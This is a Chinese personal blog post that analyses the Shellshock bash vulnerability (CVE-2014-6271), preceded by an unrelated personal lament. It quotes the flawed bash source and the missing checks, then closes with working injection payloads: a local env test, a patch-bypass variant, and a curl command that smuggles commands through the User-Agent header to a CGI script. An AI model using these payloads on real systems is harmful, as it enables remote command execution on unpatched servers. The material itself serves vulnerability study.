Sh4dow's Blog

活了二十几年,从来没有人给过我一次意外感动或惊喜,也没有人在我生日的时候给过我特别的礼物,生病的时候得到的只是一些不在身边的语言安慰,也不见谁真正的照顾过自己,甚至有的时候自己蒙头睡一觉就好了,也有人喜欢过我,但是从没见谁坚持过。

shellshock漏洞原理分析(cve-2014-6271 bash漏洞)


概述:

低于4.3版本的gnu bash存在漏洞,运行本地用户通过构造畸形命令执行额外的代码。

细节:

bash-4.1/variables.c 的 initialize_shell_variables() 函数负责解析临时环境变量中的函数定义并执行出,未验证特殊的环境变量情况,代码如下:

影响范围:

该漏洞影响gnu bash 4.3之前的版本。

由于bash的广泛应用,也影响到其他的软件,如httpd cgi等。

void

initialize_shell_variables (env, privmode)

     char **env;

     int privmode;

{

...

strcpy (temp_string + char_index + 1, string);

/*此处缺少对畸形环境变量的验证,应修改为

if (legal_identifier (name))

parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);

*/

parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

 

/* Ancient backwards compatibility.  Old versions of bash exported

functions like name()=() {...} */

if (name[char_index - 1] == ')' && name[char_index - 2] == '(')

name[char_index - 2] = '\0';

...

}

 

 

bash-4.1/builtins/evalstring.c 的parse_and_execute() 函数负责具体的解析和执行,未验证特殊的command情况,代码如下:

int

parse_and_execute (string, from_file, flags)

     char *string;

     const char *from_file;

     int flags;

{

...

else if (command = global_command)

   {

     struct fd_bitmap *bitmap;

 

 /*此处缺少对command类型的判断,应添加

if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)

{

internal_warning ("%s: ignoring function definition attempt", from_file);

should_jump_to_top_level = 0;

last_result = last_command_exit_value = EX_BADUSAGE;

break;

}

 */

     bitmap = new_fd_bitmap (FD_BITMAP_SIZE);

     begin_unwind_frame ("pe_dispose");

     add_unwind_protect (dispose_fd_bitmap, bitmap);

     add_unwind_protect (dispose_command, command);/* XXX */

 

     global_command = (COMMAND *)NULL;

...


利用方法:

[bash本地命令注入]

1.官方验证版  env x='() { :;}; echo vulnerable'  bash -c "echo this is a test"

2.官方patch绕过版 env -i X='() { (a)=>\' bash -c 'echo date'; cat echo

[http cgi远程命令执行]

curl -A "() { :; }; /bin/ls /; uname -a" https://www.aaa.com/bbb.cgi -v 

                    本文摘自:360应急响应中心



评论

© Sh4dow's Blog | Powered by LOFTER